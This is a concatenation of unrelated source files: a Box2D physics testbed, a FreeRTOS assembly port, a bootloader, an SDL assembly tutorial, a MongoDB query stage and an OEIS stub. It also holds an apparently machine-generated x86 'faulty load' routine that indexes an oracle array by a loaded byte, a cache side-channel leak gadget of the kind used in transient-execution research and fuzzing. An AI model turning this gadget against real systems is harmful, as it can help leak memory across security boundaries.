cp->shape1 = point->shape1;
cp->shape2 = point->shape2;
cp->position = point->position;
cp->normal = point->normal;
cp->id = point->id;
cp->state = e_contactAdded;
++test->m_pointCount;
}
void ContactListener::Persist(const b2ContactPoint* point)
{
if (test->m_pointCount == k_maxContactPoints)
{
return;
}
ContactPoint* cp = test->m_points + test->m_pointCount;
cp->shape1 = point->shape1;
cp->shape2 = point->shape2;
cp->position = point->position;
cp->normal = point->normal;
cp->id = point->id;
cp->state = e_contactPersisted;
++test->m_pointCount;
}
void ContactListener::Remove(const b2ContactPoint* point)
{
if (test->m_pointCount == k_maxContactPoints)
{
return;
}
ContactPoint* cp = test->m_points + test->m_pointCount;
cp->shape1 = point->shape1;
cp->shape2 = point->shape2;
cp->position = point->position;
cp->normal = point->normal;
cp->id = point->id;
cp->state = e_contactRemoved;
++test->m_pointCount;
}
Test::Test()
{
m_worldAABB.lowerBound.Set(-200.0f, -100.0f);
m_worldAABB.upperBound.Set(200.0f, 200.0f);
b2Vec2 gravity;
gravity.Set(0.0f, -10.0f);
bool doSleep = true;
m_world = new b2World(m_worldAABB, gravity, doSleep);
m_bomb = NULL;
m_textLine = 30;
m_mouseJoint = NULL;
m_pointCount = 0;
m_destructionListener.test = this;
m_boundaryListener.test = this;
m_contactListener.test = this;
m_world->SetDestructionListener(&m_destructionListener);
m_world->SetBoundaryListener(&m_boundaryListener);
m_world->SetContactListener(&m_contactListener);
m_world->SetDebugDraw(&m_debugDraw);
m_bombSpawning = false;
}
Test::~Test()
{
// By deleting the world, we delete the bomb, mouse joint, etc.
delete m_world;
m_world = NULL;
}
void Test::DrawTitle(int x, int y, const char *string)
{
m_debugDraw.DrawString(x, y, string);
}
void Test::MouseDown(const b2Vec2& p)
{
m_mouseWorld = p;
if (m_mouseJoint != NULL)
{
return;
}
// Make a small box.
b2AABB aabb;
b2Vec2 d;
d.Set(0.001f, 0.001f);
aabb.lowerBound = p - d;
aabb.upperBound = p + d;
// Query the world for overlapping shapes.
const int32 k_maxCount = 10;
b2Shape* shapes[k_maxCount];
int32 count = m_world->Query(aabb, shapes, k_maxCount);
b2Body* body = NULL;
for (int32 i = 0; i < count; ++i)
{
b2Body* shapeBody = shapes[i]->GetBody();
if (shapeBody->IsStatic() == false && shapeBody->GetMass() > 0.0f)
{
bool inside = shapes[i]->TestPoint(shapeBody->GetXForm(), p);
if (inside)
{
body = shapes[i]->GetBody();
break;
}
}
}
if (body)
{
b2MouseJointDef md;
md.body1 = m_world->GetGroundBody();
md.body2 = body;
md.target = p;
#ifdef TARGET_FLOAT32_IS_FIXED
md.maxForce = (body->GetMass() < 16.0)?
(1000.0f * body->GetMass()) : float32(16000.0);
#else
md.maxForce = 1000.0f * body->GetMass();
#endif
m_mouseJoint = (b2MouseJoint*)m_world->CreateJoint(&md);
body->WakeUp();
}
}
void Test::SpawnBomb(const b2Vec2& worldPt)
{
m_bombSpawnPoint = worldPt;
m_bombSpawning = true;
}
void Test::CompleteBombSpawn(const b2Vec2& p)
{
if (!m_bombSpawning) return;
const float multiplier = 30.0f;
b2Vec2 vel = m_bombSpawnPoint - p;
vel *= multiplier;
LaunchBomb(m_bombSpawnPoint,vel);
m_bombSpawning = false;
}
void Test::ShiftMouseDown(const b2Vec2& p)
{
m_mouseWorld = p;
if (m_mouseJoint != NULL)
{
return;
}
SpawnBomb(p);
}
void Test::MouseUp(const b2Vec2& p)
{
if (m_mouseJoint)
{
m_world->DestroyJoint(m_mouseJoint);
m_mouseJoint = NULL;
}
if (m_bombSpawning)
{
CompleteBombSpawn(p);
}
}
void Test::MouseMove(const b2Vec2& p)
{
m_mouseWorld = p;
if (m_mouseJoint)
{
m_mouseJoint->SetTarget(p);
}
}
void Test::LaunchBomb()
{
b2Vec2 p(b2Random(-15.0f, 15.0f), 30.0f);
b2Vec2 v = -5.0f * p;
LaunchBomb(p, v);
}
void Test::LaunchBomb(const b2Vec2& position, const b2Vec2& velocity)
{
if (m_bomb)
{
m_world->DestroyBody(m_bomb);
m_bomb = NULL;
}
b2BodyDef bd;
bd.allowSleep = true;
bd.position = position;
bd.isBullet = true;
m_bomb = m_world->CreateBody(&bd);
m_bomb->SetLinearVelocity(velocity);
b2CircleDef sd;
sd.radius = 0.3f;
sd.density = 20.0f;
sd.restitution = 0.1f;
b2Vec2 minV = position - b2Vec2(0.3f,0.3f);
b2Vec2 maxV = position + b2Vec2(0.3f,0.3f);
b2AABB aabb;
aabb.lowerBound = minV;
aabb.upperBound = maxV;
bool inRange = m_world->InRange(aabb);
if (inRange)
{
m_bomb->CreateShape(&sd);
m_bomb->SetMassFromShapes();
}
}
void Test::Step(Settings* settings)
{
float32 timeStep = settings->hz > 0.0f ? 1.0f / settings->hz : float32(0.0f);
if (settings->pause)
{
if (settings->singleStep)
{
settings->singleStep = 0;
}
else
{
timeStep = 0.0f;
}
m_debugDraw.DrawString(5, m_textLine, "****PAUSED****");
m_textLine += 15;
}
uint32 flags = 0;
flags += settings->drawShapes * b2DebugDraw::e_shapeBit;
flags += settings->drawJoints * b2DebugDraw::e_jointBit;
flags += settings->drawCoreShapes * b2DebugDraw::e_coreShapeBit;
flags += settings->drawAABBs * b2DebugDraw::e_aabbBit;
flags += settings->drawOBBs * b2DebugDraw::e_obbBit;
flags += settings->drawPairs * b2DebugDraw::e_pairBit;
flags += settings->drawCOMs * b2DebugDraw::e_centerOfMassBit;
m_debugDraw.SetFlags(flags);
m_world->SetWarmStarting(settings->enableWarmStarting > 0);
m_world->SetPositionCorrection(settings->enablePositionCorrection > 0);
m_world->SetContinuousPhysics(settings->enableTOI > 0);
m_pointCount = 0;
m_world->Step(timeStep, settings->iterationCount);
m_world->Validate();
if (m_bomb != NULL && m_bomb->IsFrozen())
{
m_world->DestroyBody(m_bomb);
m_bomb = NULL;
}
if (settings->drawStats)
{
m_debugDraw.DrawString(5, m_textLine, "proxies(max) = %d(%d), pairs(max) = %d(%d)",
m_world->GetProxyCount(), b2_maxProxies,
m_world->GetPairCount(), b2_maxPairs);
m_textLine += 15;
m_debugDraw.DrawString(5, m_textLine, "bodies/contacts/joints = %d/%d/%d",
m_world->GetBodyCount(), m_world->GetContactCount(), m_world->GetJointCount());
m_textLine += 15;
m_debugDraw.DrawString(5, m_textLine, "heap bytes = %d", b2_byteCount);
m_textLine += 15;
}
if (m_mouseJoint)
{
b2Body* body = m_mouseJoint->GetBody2();
b2Vec2 p1 = body->GetWorldPoint(m_mouseJoint->m_localAnchor);
b2Vec2 p2 = m_mouseJoint->m_target;
glPointSize(4.0f);
glColor3f(0.0f, 1.0f, 0.0f);
glBegin(GL_POINTS);
glVertex2f(p1.x, p1.y);
glVertex2f(p2.x, p2.y);
glEnd();
glPointSize(1.0f);
glColor3f(0.8f, 0.8f, 0.8f);
glBegin(GL_LINES);
glVertex2f(p1.x, p1.y);
glVertex2f(p2.x, p2.y);
glEnd();
}
if (m_bombSpawning){
glPointSize(4.0f);
glColor3f(0.0f, 0.0f, 1.0f);
glBegin(GL_POINTS);
glColor3f(0.0f, 0.0f, 1.0f);
glVertex2f(m_bombSpawnPoint.x, m_bombSpawnPoint.y);
glEnd();
glColor3f(0.8f, 0.8f, 0.8f);
glBegin(GL_LINES);
glVertex2f(m_mouseWorld.x, m_mouseWorld.y);
glVertex2f(m_bombSpawnPoint.x, m_bombSpawnPoint.y);
glEnd();
}
if (settings->drawContactPoints)
{
//const float32 k_impulseScale = 0.1f;
const float32 k_axisScale = 0.3f;
for (int32 i = 0; i < m_pointCount; ++i)
{
ContactPoint* point = m_points + i;
if (point->state == 0)
{
// Add
m_debugDraw.DrawPoint(point->position, 10.0f, b2Color(0.3f, 0.95f, 0.3f));
}
else if (point->state == 1)
{
// Persist
m_debugDraw.DrawPoint(point->position, 5.0f, b2Color(0.3f, 0.3f, 0.95f));
}
else
{
// Remove
m_debugDraw.DrawPoint(point->position, 10.0f, b2Color(0.95f, 0.3f, 0.3f));
}
if (settings->drawContactNormals == 1)
{
b2Vec2 p1 = point->position;
b2Vec2 p2 = p1 + k_axisScale * point->normal;
m_debugDraw.DrawSegment(p1, p2, b2Color(0.4f, 0.9f, 0.4f));
}
else if (settings->drawContactForces == 1)
{
//b2Vec2 p1 = point->position;
//b2Vec2 p2 = p1 + k_forceScale * point->normalForce * point->normal;
//DrawSegment(p1, p2, b2Color(0.9f, 0.9f, 0.3f));
}
if (settings->drawFrictionForces == 1)
{
//b2Vec2 tangent = b2Cross(point->normal, 1.0f);
//b2Vec2 p1 = point->position;
//b2Vec2 p2 = p1 + k_forceScale * point->tangentForce * tangent;
//DrawSegment(p1, p2, b2Color(0.9f, 0.9f, 0.3f));
}
}
}
}
|
;/*
; * FreeRTOS Kernel V10.4.4
; * Copyright (C) 2021 Amazon.com, Inc. or its affiliates. All Rights Reserved.
; *
; * SPDX-License-Identifier: MIT
; *
; * Permission is hereby granted, free of charge, to any person obtaining a copy of
; * this software and associated documentation files (the "Software"), to deal in
; * the Software without restriction, including without limitation the rights to
; * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
; * the Software, and to permit persons to whom the Software is furnished to do so,
; * subject to the following conditions:
; *
; * The above copyright notice and this permission notice shall be included in all
; * copies or substantial portions of the Software.
; *
; * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
; * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
; * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
; * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
; * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
; *
; * https://www.FreeRTOS.org
; * https://github.com/FreeRTOS
; *
; */
; * The definition of the "register test" tasks, as described at the top of
; * main.c
.include data_model.h
.global xTaskIncrementTick
.global vTaskSwitchContext
.global vPortSetupTimerInterrupt
.global pxCurrentTCB
.global usCriticalNesting
.def vPortPreemptiveTickISR
.def vPortCooperativeTickISR
.def vPortYield
.def xPortStartScheduler
;-----------------------------------------------------------
portSAVE_CONTEXT .macro
;Save the remaining registers.
pushm_x #12, r15
mov.w &usCriticalNesting, r14
push_x r14
mov_x &pxCurrentTCB, r12
mov_x sp, 0( r12 )
.endm
;-----------------------------------------------------------
portRESTORE_CONTEXT .macro
mov_x &pxCurrentTCB, r12
mov_x @r12, sp
pop_x r15
mov.w r15, &usCriticalNesting
popm_x #12, r15
nop
pop.w sr
nop
ret_x
.endm
;-----------------------------------------------------------
;*
;* The RTOS tick ISR.
;*
;* If the cooperative scheduler is in use this simply increments the tick
;* count.
;*
;* If the preemptive scheduler is in use a context switch can also occur.
;*/
.text
.align 2
vPortPreemptiveTickISR: .asmfunc
; The sr is not saved in portSAVE_CONTEXT() because vPortYield() needs
;to save it manually before it gets modified (interrupts get disabled).
push.w sr
portSAVE_CONTEXT
call_x #xTaskIncrementTick
call_x #vTaskSwitchContext
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
.align 2
vPortCooperativeTickISR: .asmfunc
; The sr is not saved in portSAVE_CONTEXT() because vPortYield() needs
;to save it manually before it gets modified (interrupts get disabled).
push.w sr
portSAVE_CONTEXT
call_x #xTaskIncrementTick
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
;
; Manual context switch called by the portYIELD() macro.
;
.align 2
vPortYield: .asmfunc
; The sr needs saving before it is modified.
push.w sr
; Now the SR is stacked we can disable interrupts.
dint
nop
; Save the context of the current task.
portSAVE_CONTEXT
; Select the next task to run.
call_x #vTaskSwitchContext
; Restore the context of the new task.
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
;
; Start off the scheduler by initialising the RTOS tick timer, then restoring
; the context of the first task.
;
.align 2
xPortStartScheduler: .asmfunc
; Setup the hardware to generate the tick. Interrupts are disabled
; when this function is called.
call_x #vPortSetupTimerInterrupt
; Restore the context of the first task that is going to run.
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
.end
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x13f59, %rbx
nop
nop
nop
sub $33704, %rdi
mov (%rbx), %rcx
nop
nop
and $36281, %r12
lea addresses_UC_ht+0x10129, %rsi
lea addresses_WC_ht+0xbc75, %rdi
add $16966, %rbp
mov $72, %rcx
rep movsb
nop
nop
nop
dec %rdi
lea addresses_UC_ht+0xa49, %rbx
nop
cmp %r9, %r9
movb $0x61, (%rbx)
nop
nop
nop
nop
sub $2772, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r9
push %rcx
push %rdi
// Store
lea addresses_normal+0x116e5, %r9
nop
nop
nop
cmp $29552, %rcx
movl $0x51525354, (%r9)
nop
nop
nop
nop
nop
dec %r9
// Faulty Load
lea addresses_PSE+0x12b29, %rdi
xor %r10, %r10
movb (%rdi), %cl
lea oracles, %r14
and $0xff, %rcx
shlq $12, %rcx
mov (%r14,%rcx,1), %rcx
pop %rdi
pop %rcx
pop %r9
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 1, 'size': 8, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
; compile with nasm, use as disk image to qemu-system-i386
[BITS 16]
[ORG 0x7c00]
BOOT_DRIVE equ $
entry:
cli ; disable interrupts
jmp 0x0000:start ; set CS:IP to known values
lba dw 0 ; starting sector LBA=0 (incl. boot sector)
retries db 10 ; max 10 retries until fail
banner db 10, "SP/OS (2013) Saul Pwanson", 13, 10, 0
start:
xor ax, ax
mov ds, ax
mov es, ax
mov ss, ax
mov sp, 0x7c00 ; just before the code
mov [BOOT_DRIVE], dl ; save off boot drive
mov di, banner
call writestr
mov si, 0x7000 ; drive parameters buffer
%define NUM_CYLINDERS word [si+0x04] ; dword [0x7004]
%define NUM_HEADS word [si+0x08] ; dword [0x7008]
%define SECTOR_PER_TRACK word [si+0x0c] ; dword [0x700C]
; %define TOTAL_SECTORS word [si+0x10] ; qword [0x7010]
; %define PARA_PER_SECTOR word [si+0x18] ; word [0x7018] (in bytes at first)
mov dl, [BOOT_DRIVE]
mov ah, 0x08
int 0x13
jnc parmsok
mov al, '&'
call putc
hlt
parmsok:
; set up parameters for LBAtoCHS
;;; unnecessary
; push cx
; shr cx, 6
; mov NUM_CYLINDERS, cx ; max value of cylinder
; pop cx
and cx, 0x3f ; mask off lower two bits of cylinder
mov SECTOR_PER_TRACK, cx ; max value of sector
shr dx, 8 ; dx = dh (# heads)
inc dx
mov NUM_HEADS, dx
mov cx, 64 ; read inital 32k
mov di, 0x8000
sub cx, [lba] ; # sectors to read = total sectors - 1 boot sector
nextsector:
mov ax, [lba]
push cx
xor dx, dx ; DX:AX = LBA
mov bx, SECTOR_PER_TRACK ; BX = SectorsPerTrack
mov cx, NUM_HEADS ; CX = NumHeads
; in: DX:AX=LBA Sector, BX=SectorsPerTrack, CX = NumHeads
; out: DH, CX compatible with int 13h/02
LBAtoCHS:
div bx ; ax = LBA/SectorsPerTrack = track# * head#
inc dx ; dx = remainder+1 = sector#
push dx
xor dx, dx ; dx:ax = track# * head#
div cx ; ax = track#, dx = head#
mov dh, dl ; dh = head#
pop cx ; cl[5:0] = sector#
mov ch, al ; ch = low 8 bits of track#
shl ah, 6
or cl, ah ; cl[7:6] = high bits of track#
mov dl, [BOOT_DRIVE]
mov bx, di ; ES:BX = dest address for load
mov ax, 0x0201 ; function 13h/02, read 01 sectors
int 0x13
jnc success
mov al, '!'
call putc
; DEBUG: print ah for error code
call resetdisk
pop cx
dec byte [retries]
jnz nextsector
mov al, '<'
call putc
; might be an odd-shaped disk, let's jump anyway
jmp leap
; dl = boot drive
resetdisk:
xor ax, ax
int 0x13 ; 13h/00 = reset drive
jc resetdisk
ret
success:
%ifdef DEBUG
mov al, '.'
call putc
%endif
add di, 512
pop cx
inc word [lba]
loop nextsector
%ifdef DEBUG
mov al, '>'
call putc
%endif
%include "bootcommon.asm"
times (512 - $ + entry - 2) db 0 ; pad boot sector with zeroes
db 0x55, 0xAA ; 2 byte boot signature
|
; ML64 template file
; Compile: uasm64.exe -nologo -win64 -Zd -Zi -c testUasm.asm
; Link: link /nologo /debug /subsystem:console /entry:main testUasm.obj user32.lib kernel32.lib
OPTION WIN64:8
; Include files
include main.inc
include SDL.inc
include SDL_image.inc
; Include libraries
includelib SDL2.lib
includelib SDL2main.lib
includelib SDL2_image.lib
Init proto
Shutdown proto
LoadMedia proto
LoadTexture proto :QWORD
.const
SCREEN_WIDTH = 640
SCREEN_HEIGHT = 480
WINDOW_TITLE BYTE "SDL Tutorial",0
FILE_ATTRS BYTE "rb"
IMAGE_PRESS BYTE "Res/viewport.png",0
.data
quit BYTE 0
fillRect SDL_Rect<160,120,320,240>
outlineRect SDL_Rect<106,80,426,320>
topLeftViewport SDL_Rect <0, 0, SCREEN_WIDTH / 2, SCREEN_HEIGHT / 2>
topRightViewport SDL_Rect <SCREEN_WIDTH / 2, 0, SCREEN_WIDTH / 2, SCREEN_HEIGHT / 2>
bottomViewport SDL_Rect <0, SCREEN_HEIGHT / 2, SCREEN_WIDTH, SCREEN_HEIGHT / 2>
.data?
pWindow QWORD ?
eventHandler SDL_Event <>
gTexture QWORD ?
gRenderer QWORD ?
.code
main proc
local i:dword
; Alloc our memory for our objects, starts SDL, ...
invoke Init
.if rax==0
invoke ExitProcess, EXIT_FAILURE
.endif
invoke LoadMedia
; Gameloop
.while quit!=1
invoke SDL_PollEvent, addr eventHandler
.while rax!=0
.if eventHandler.type_ == SDL_EVENTQUIT
mov quit, 1
.endif
invoke SDL_PollEvent, addr eventHandler
.endw
; Clear screen
invoke SDL_SetRenderDrawColor, gRenderer, 0FFh, 0FFh, 0FFh, 0FFh
invoke SDL_RenderClear, gRenderer
; Top left corner viewport
invoke SDL_RenderSetViewport, gRenderer, addr topLeftViewport;
; Render texture to screen
invoke SDL_RenderCopy,gRenderer, gTexture, 0, 0
; Top right corner viewport
invoke SDL_RenderSetViewport, gRenderer, addr topRightViewport;
; Render texture to screen
invoke SDL_RenderCopy,gRenderer, gTexture, 0, 0
; Bottom corner viewport
invoke SDL_RenderSetViewport, gRenderer, addr bottomViewport;
; Render texture to screen
invoke SDL_RenderCopy,gRenderer, gTexture, 0, 0
; Update the window
invoke SDL_RenderPresent,gRenderer
.endw
invoke SDL_DestroyWindow, pWindow
; Clean our allocated memory, shutdown SDL, ...
invoke Shutdown
invoke ExitProcess, EXIT_SUCCESS
ret
main endp
Init proc
invoke SDL_Init, SDL_INIT_VIDEO
.if rax<0
xor rax, rax
jmp EXIT
.endif
invoke SDL_CreateWindow,
addr WINDOW_TITLE,
SDL_WINDOWPOS_UNDEFINED,
SDL_WINDOWPOS_UNDEFINED,
SCREEN_WIDTH,
SCREEN_HEIGHT,
SDL_WINDOW_SHOWN
.if rax==0
jmp EXIT
.endif
mov pWindow, rax
; Create the renderer
invoke SDL_CreateRenderer, rax, -1, SDL_RENDERER_ACCELERATED
.if rax==0
jmp EXIT
.endif
mov gRenderer, rax
; Initialize renderer color
invoke SDL_SetRenderDrawColor, gRenderer, 0FFh, 0FFH, 0FFH, 0FFH
invoke IMG_Init, IMG_INIT_PNG
and rax, IMG_INIT_PNG
.if rax!=IMG_INIT_PNG
xor rax, rax
jmp EXIT
.endif
mov rax, 1
EXIT:
ret
Init endp
Shutdown proc
invoke SDL_DestroyTexture, gTexture
invoke SDL_DestroyRenderer, gRenderer
invoke SDL_DestroyWindow, pWindow
invoke IMG_Quit
invoke SDL_Quit
ret
Shutdown endp
LoadMedia PROC
LOCAL success:BYTE
mov success, 1
invoke LoadTexture, addr IMAGE_PRESS
.if rax==0
mov success, 0
jmp EXIT
.endif
mov gTexture, rax
EXIT:
ret
LoadMedia endp
LoadTexture PROC pFile:QWORD
LOCAL loadedSurface:QWORD
LOCAL newTexture:QWORD
invoke IMG_Load, pFile
.if rax==0
jmp ERROR
.endif
mov loadedSurface, rax
invoke SDL_CreateTextureFromSurface, gRenderer, rax
.if rax==0
jmp ERROR
.endif
mov newTexture, rax
invoke SDL_FreeSurface, loadedSurface
mov rax, newTexture
ERROR:
ret
LoadTexture endp
END
; vim options: ts=2 sw=2
|
/**
* Copyright (C) 2014 MongoDB Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License, version 3,
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* As a special exception, the copyright holders give permission to link the
* code of portions of this program with the OpenSSL library under certain
* conditions as described in each individual source file and distribute
* linked combinations including the program with the OpenSSL library. You
* must comply with the GNU Affero General Public License in all respects for
* all of the code used other than as permitted herein. If you modify file(s)
* with this exception, you may extend this exception to your version of the
* file(s), but you are not obligated to do so. If you do not wish to do so,
* delete this exception statement from your version. If you delete this
* exception statement from all source files in the program, then also delete
* it in the license file.
*/
#include "mongo/platform/basic.h"
#include "mongo/db/exec/multi_iterator.h"
#include "mongo/db/concurrency/write_conflict_exception.h"
#include "mongo/db/exec/working_set_common.h"
#include "mongo/db/storage/record_fetcher.h"
#include "mongo/stdx/memory.h"
namespace mongo {
using std::unique_ptr;
using std::vector;
using stdx::make_unique;
const char* MultiIteratorStage::kStageType = "MULTI_ITERATOR";
MultiIteratorStage::MultiIteratorStage(OperationContext* txn,
WorkingSet* ws,
Collection* collection)
: PlanStage(kStageType, txn),
_collection(collection),
_ws(ws),
_wsidForFetch(_ws->allocate()) {}
void MultiIteratorStage::addIterator(unique_ptr<RecordCursor> it) {
_iterators.push_back(std::move(it));
}
PlanStage::StageState MultiIteratorStage::work(WorkingSetID* out) {
if (_collection == NULL) {
Status status(ErrorCodes::InternalError, "MultiIteratorStage died on null collection");
*out = WorkingSetCommon::allocateStatusMember(_ws, status);
return PlanStage::DEAD;
}
boost::optional<Record> record;
try {
while (!_iterators.empty()) {
if (auto fetcher = _iterators.back()->fetcherForNext()) {
// Pass the RecordFetcher off up.
WorkingSetMember* member = _ws->get(_wsidForFetch);
member->setFetcher(fetcher.release());
*out = _wsidForFetch;
return NEED_YIELD;
}
record = _iterators.back()->next();
if (record)
break;
_iterators.pop_back();
}
} catch (const WriteConflictException& wce) {
// If _advance throws a WCE we shouldn't have moved.
invariant(!_iterators.empty());
*out = WorkingSet::INVALID_ID;
return NEED_YIELD;
}
if (!record)
return IS_EOF;
*out = _ws->allocate();
WorkingSetMember* member = _ws->get(*out);
member->loc = record->id;
member->obj = {getOpCtx()->recoveryUnit()->getSnapshotId(), record->data.releaseToBson()};
_ws->transitionToLocAndObj(*out);
return PlanStage::ADVANCED;
}
bool MultiIteratorStage::isEOF() {
return _collection == NULL || _iterators.empty();
}
void MultiIteratorStage::kill() {
_collection = NULL;
_iterators.clear();
}
void MultiIteratorStage::doSaveState() {
for (auto&& iterator : _iterators) {
iterator->save();
}
}
void MultiIteratorStage::doRestoreState() {
for (auto&& iterator : _iterators) {
if (!iterator->restore()) {
kill();
}
}
}
void MultiIteratorStage::doDetachFromOperationContext() {
for (auto&& iterator : _iterators) {
iterator->detachFromOperationContext();
}
}
void MultiIteratorStage::doReattachToOperationContext() {
for (auto&& iterator : _iterators) {
iterator->reattachToOperationContext(getOpCtx());
}
}
void MultiIteratorStage::doInvalidate(OperationContext* txn,
const RecordId& dl,
InvalidationType type) {
switch (type) {
case INVALIDATION_DELETION:
for (size_t i = 0; i < _iterators.size(); i++) {
_iterators[i]->invalidate(txn, dl);
}
break;
case INVALIDATION_MUTATION:
// no-op
break;
}
}
unique_ptr<PlanStageStats> MultiIteratorStage::getStats() {
unique_ptr<PlanStageStats> ret =
make_unique<PlanStageStats>(CommonStats(kStageType), STAGE_MULTI_ITERATOR);
ret->specific = make_unique<CollectionScanStats>();
return ret;
}
} // namespace mongo
|
; A165845: Totally multiplicative sequence with a(p) = 24.
; Submitted by Jon Maiga
